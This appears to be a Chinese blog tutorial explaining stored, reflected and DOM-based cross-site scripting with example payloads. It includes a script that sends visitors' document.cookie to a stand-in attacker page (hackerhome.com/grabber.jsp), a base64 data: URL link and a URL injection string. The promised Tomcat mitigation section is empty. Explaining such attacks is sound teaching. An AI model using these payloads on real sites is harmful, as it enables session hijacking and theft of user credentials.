XSS attacks

       最近才开始研究HTML以及安全问题。如果有什么说得不对的地方,望请指出。

  在网络应用安全中,XSS可能是最常见,范围最大,所包含攻击方法最多,同时也是最难以理解的一种攻击。在OWASP所列出的十大网络应用安全风险中,其排名第二位,仅次于SQL Injection。

  就以一个博客应用为例。其常常需要允许读者对博主的文章进行评论。在输入评论的编辑栏中,我们可以输入对该文章的评论,也可以输入以下HTML标记:

1 <Script>alert(“XSS attack available!”);</Script>

  在读者按下提交键之后,该标记将被提交到服务器上,并在其它用户访问时作为评论显示。此时该用户所看到网页中包含该标记的部分元素可能为:

1 <div>
2     <Script>alert(“XSS attack available!”);</Script>
3 </div>

  而从用户的角度来看,该网页中就出现了一个警告:

XSS attacks

  也就是说,用户输入的脚本语言已经被用户的浏览器成功执行。当然,这可能只是一个对该网站的善意提醒。但是对于一个真正具有恶意的攻击者,其所插入的脚本代码更可能如下所示:

1 <script>document.write('<img src=http://www.hackerhome.com/grabber.jsp?msg='+document.cookie+'
2     width=16 height=16 border=0 />');</script>

  该段脚本将向当前评论内插入一个图片,而该图片所对应的URL则指向了hackerhome中的JSP页面grabber.jsp。从访问该评论的用户这一角度看来,其仅仅是一个不能显示的图片。但是对于恶意攻击者而言,该JSP页面将自动记录传入的msg参数内容,即访问评论用户所使用的cookie。该cookie可能包含用户的敏感信息,甚至是用户名,密码等重要信息

  上面的XSS示例实际上是最容易理解的一种:Stored。除此之外,XSS攻击还包含另外两种攻击方式:Reflected以及DOM Based(Type-0 XSS)。下面我们就来具体讲解各个攻击方式以及各自的特点。

  首先要讲解的就是我们已经见过的Stored攻击。该攻击的最大特点就是,用于攻击的数据永久地存储在目标网站的服务器中。试着回想上面所给出的例子:在恶意用户提交带有恶意代码的评论时,为了能让该评论可以被其它用户看到,网站的开发人员必然需要将其永久性地存储起来,例如数据库。使用该方法进行攻击的XSS将对所有访问该页面的用户可见,并且一直保存下去,直到该评论被管理员处理。

  第二类XSS攻击则是Reflected攻击。该攻击的最大特点则与Stored攻击相对:用于攻击的数据并不是永久地存储在目标网站的服务器中。

  那这种攻击是如何实现的呢?请试想这样一种情况:某个网站允许其用户通过搜索的方式查找具有特定名称的商户。对于商户名称SomeStore,该搜索功能所返回的页面地址可能为:

1 www.SomeWeb.com/search.jsp?storename=SomeStore

  如果该查找功能没有查找到具有该名称的商户,那么网站将会返回一个错误页面:没有查找到名称为SomeStore的商户信息。此时恶意用户首先可以通过在搜索栏中输入<Script>alert(“XSS attack available!”);</Script>并执行搜索判断该网站是否有XSS漏洞。如果返回的搜索页面出现了“XSS attack available!”消息框,那就表示该页面仅仅简单地将URL中的参数SomeStore显示在了页面之中,而并没有对脚本的执行做出防备。接下来,恶意用户就可以将商户名设为如下的恶意代码:

1 <script>document.write('<img src=http://www.hackerhome.com/grabber.jsp?msg='+document.cookie+'
2     width=0 height=0 border=0 />SomeStore');</script>

  也正是由于搜索页面仅仅简单地将该部分组成直接嵌于页面之上,因此用户从服务器端得到的网页将包含该段代码,其将自动访问hackerhome上的grabber.jsp,并将用户的cookie作为参数msg的值,从而使得受害者的cookie失窃。

  但是如何让用户访问这个页面呢?很简单,恶意用户仅仅需要向那些受害者发送该搜索的链接,并为该链接附上一段具有吸引力的话即可。如果受害者点击了该恶意链接,同时该网站的cookie在受害者的本地机器上没有过期,那么这个cookie将被恶意网站hackerhome所窃取。

  还有一种类型的攻击也被归类为Reflected类型的攻击,那就是利用data:协议动态生成文件。该协议允许客户端直接创建二进制文件,如Doc或PDF文件等,并使用相应应用程序打开该文件。例如,恶意用户可以通过XSS插入下面的链接:

1 <a href="data:text/html;base64,PHNjcmlwdD5vcGVuZXIuZG9jdW1lbnQuYm9keS5pbm5lckhUTUw9J3h
2    4b28nO2Nsb3NlKCk8L3NjcmlwdD4=" target="_blank">Click me</a>

  如果用户点击了该链接,那么电脑将自动使用关联的程序打开该文件。由于这些文件的读取等动作都需要相应的应用程序支持,因此恶意人员可以更进一步地利用相应的应用程序漏洞执行更丰富的攻击。

  最后一种则是DOM Based攻击,又常常被称为Type-0 XSS攻击。它与前两种攻击方式拥有很大的不同:Stored和Reflected方式中,对有害内容的生成是在服务端完成的,而DOM Based攻击中,对有害内容的生成是在客户端完成的。例如一个图片浏览页面在URL中使用index参数表示当前用户所察看图片的索引,并通过javascript动态写入HTML元素:

1 <script>
2     var index = getIndex(document.URL);
3     document.write(“<IMG src=’www.imagestore.com/album1984/image?index=’ + index + ‘/>’”)
4 </script>

  那么恶意用户就可以通过在URL的index参数中插入其它信息来完成。例如在该URL中,恶意用户可以为index参数指定参数值后额外添加一部分恶意语句,如经过编码后的index=1/><script>alert(“XSS attack available!”)</script><img width=0 height=0。当然,恶意用户并不会希望用户自己攻击自己,因此他仍然需要做一些额外的社会工作,例如发送邮件给受害者并诱使他点击该有害链接等。

二、Tomcat当中设置哪些地方可以减少XSS 攻击

国外关于这方面的说明


你可能感兴趣的:(xss,Attack)